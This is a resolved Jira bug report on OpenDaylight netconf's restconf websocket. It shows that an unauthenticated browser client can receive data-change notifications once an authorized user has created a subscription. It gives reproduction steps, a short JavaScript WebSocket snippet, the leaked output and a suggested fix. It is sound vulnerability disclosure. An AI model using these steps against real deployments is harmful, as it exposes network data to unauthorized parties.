[NETCONF-300] unauthorized websocket client is able to receivedata change notifications via sal-rest-connector Created: 20/Oct/16  Updated: 13/Aug/19  Resolved: 13/Aug/19

Status: Resolved
Project: netconf
Component/s: restconf-nb
Affects Version/s: None
Fix Version/s: None

Type: Bug
Reporter: Juraj Veverka Assignee: Jakub Morvay
Resolution: Done Votes: 0
Labels: None
Remaining Estimate: Not Specified
Time Spent: Not Specified
Original Estimate: Not Specified
Environment:

Operating System: All
Platform: All


Attachments: File sal-rest-connector-ws.postman_collection.json    
Issue Links:
Relates
relates to NETCONF-623 Impossible to receive notifications v... Resolved
External issue ID: 6993

 Description   

short story:
unauthorized websocket client is able to receivedata change notifications via sal-rest-connector
if data-change-event-subscription was previously created by authorized user.

setup environment:
------------------
1. start odl distribution-karaf-0.5.0-Boron
2. install features:
feature:install odl-restconf
feature:install odl-dlux-all
feature:install odl-ovsdb-southbound-impl
log:set DEBUG org.opendaylight.netconf.sal

test authorization:
-------------------
3. try POST request using postman without authorization
request: POST http://localhost:8181/restconf/config/network-topology:network-topology
response: 401 unauthorized
request: POST http://localhost:8181/restconf/config/network-topology:network-topology using Basic http authorization
response: 200 + data returned from server
4.
POST: http://localhost:8181/restconf/operations/sal-remote:create-data-change-event-subscription
<input xmlns="urn:opendaylight:params:xml:ns:yang:controller:md:sal:remote">
<path xmlns:a="urn:TBD:params:xml:ns:yang:network-topology">/a:network-topology</path>
<datastore xmlns="urn:sal:restconf:event:subscription">CONFIGURATION</datastore>
<scope xmlns="urn:sal:restconf:event:subscription">BASE</scope>
</input>

create data-change-event-subscription by authorized user:
---------------------------------------------------------
5. with postman
using Basic http authorization
POST: http://localhost:8181/restconf/streams/stream/data-change-event-subscription/network-topology:network-topology/datastore=CONFIGURATION/scope=BASE
<input xmlns="urn:opendaylight:params:xml:ns:yang:controller:md:sal:remote">
<path xmlns:a="urn:TBD:params:xml:ns:yang:network-topology">/a:network-topology</path>
<datastore xmlns="urn:sal:restconf:event:subscription">CONFIGURATION</datastore>
<scope xmlns="urn:sal:restconf:event:subscription">BASE</scope>
</input>
response: 200
{
"output":

{ "stream-name": "data-change-event-subscription/network-topology:network-topology/datastore=CONFIGURATION/scope=BASE" }

}
6.
using Basic http authorization
GET http://localhost:8181/restconf/streams/stream/data-change-event-subscription/network-topology:network-topology/datastore=CONFIGURATION/scope=BASE
response: 200
ws://localhost:8185/data-change-event-subscription/network-topology:network-topology/datastore=CONFIGURATION/scope=BASE

receive data change events as not authorized user:
--------------------------------------------------
7. from web browser (chrome: new incognito tab) as not authorized user, open login page of ODL dlux http://localhost:8181/index.html, press F12 to start javascript console
in console, write small javascript to subscribe to websocket for data change notifications:
var WSocket = new WebSocket('ws://localhost:8185/data-change-event-subscription/network-topology:network-topology/datastore=CONFIGURATION/scope=BASE');
WSocket.onmessage = function(event)

{ console.log('Unauthorized Data Access: ' + event.data); }

;
8. from POSTMAN
using Basic http authorization application/xml
PUT http://localhost:8181/restconf/config/network-topology:network-topology
<network-topology xmlns="urn:TBD:params:xml:ns:yang:network-topology">
<topology xmlns="urn:TBD:params:xml:ns:yang:network-topology">
<topology-id>network-topo:2</topology-id>
<link>
<link-id>l3</link-id>
<source>
<source-node>n4</source-node>
</source>
<destination>
<dest-node>n5</dest-node>
</destination>
</link>
<link>
<link-id>l2</link-id>
<source>
<source-node>n5</source-node>
</source>
<destination>
<dest-node>n6</dest-node>
</destination>
</link>
<node>
<node-id>n4</node-id>
</node>
<node>
<node-id>n5</node-id>
</node>
<node>
<node-id>n6</node-id>
</node>
</topology>
</network-topology>

9. not authorized instance of chrome browser receives notification about data store change
Unauthorized Data Access: <?xml version="1.0" encoding="UTF-8" standalone="no"?>
<notification xmlns="urn:ietf:params:xml:ns:netconf:notification:1.0">
<eventTime>2016-10-19T03:56:24+02:00</eventTime>
<data-changed-notification xmlns="urn:opendaylight:params:xml:ns:yang:controller:md:sal:remote">
<data-change-event>
<path xmlns:edqn="urn:TBD:params:xml:ns:yang:network-topology">/edqn:network-topology</path>
<operation>updated</operation>
<data>
<network-topology xmlns="urn:TBD:params:xml:ns:yang:network-topology">
<topology>
<topology-id>network-topo:2</topology-id>
<link>
<link-id>l3</link-id>
<destination>
<dest-node>n5</dest-node>
</destination>
<source>
<source-node>n4</source-node>
</source>
</link>
<link>
<link-id>l2</link-id>
<destination>
<dest-node>n6</dest-node>
</destination>
<source>
<source-node>n5</source-node>
</source>
</link>
<node>
<node-id>n6</node-id>
</node>
<node>
<node-id>n5</node-id>
</node>
<node>
<node-id>n4</node-id>
</node>
</topology>
</network-topology>
</data>
</data-change-event>
</data-changed-notification>
</notification>

10. how to fix the problem:
in project netconf/restconf/sal-rest-connector/src/main/java
org.opendaylight.netconf.sal.streams.websockets.WebSocketServerHandler
in method
private void handleHttpRequest(final ChannelHandlerContext ctx, final FullHttpRequest req) throws Exception;
user's identity must be checked before listener is registered



 Comments   
Comment by Juraj Veverka [ 20/Oct/16 ]

Attachment sal-rest-connector-ws.postman_collection.json has been added with description: postman collection of requests used in the test

Comment by Jaroslav Tóth [ 19/Jun/19 ]

please look at NETCONF-623 for updates

Comment by Jaroslav Tóth [ 16/Jul/19 ]

it is fixed by NETCONF-623 in rfc-8040 (both upgrade request and web-socket channel can be secured in the same way as other web-traffic), the question is whether we would like to port it to old restconf too
if we don't want to, we can close this issue

Comment by Jaroslav Tóth [ 13/Aug/19 ]

no response, closing the issue as fixed

Generated at Wed Feb 07 20:14:40 UTC 2024 using Jira 8.20.10#820010-sha1:ace47f9899e9ee25d7157d59aa17ab06aee30d3d.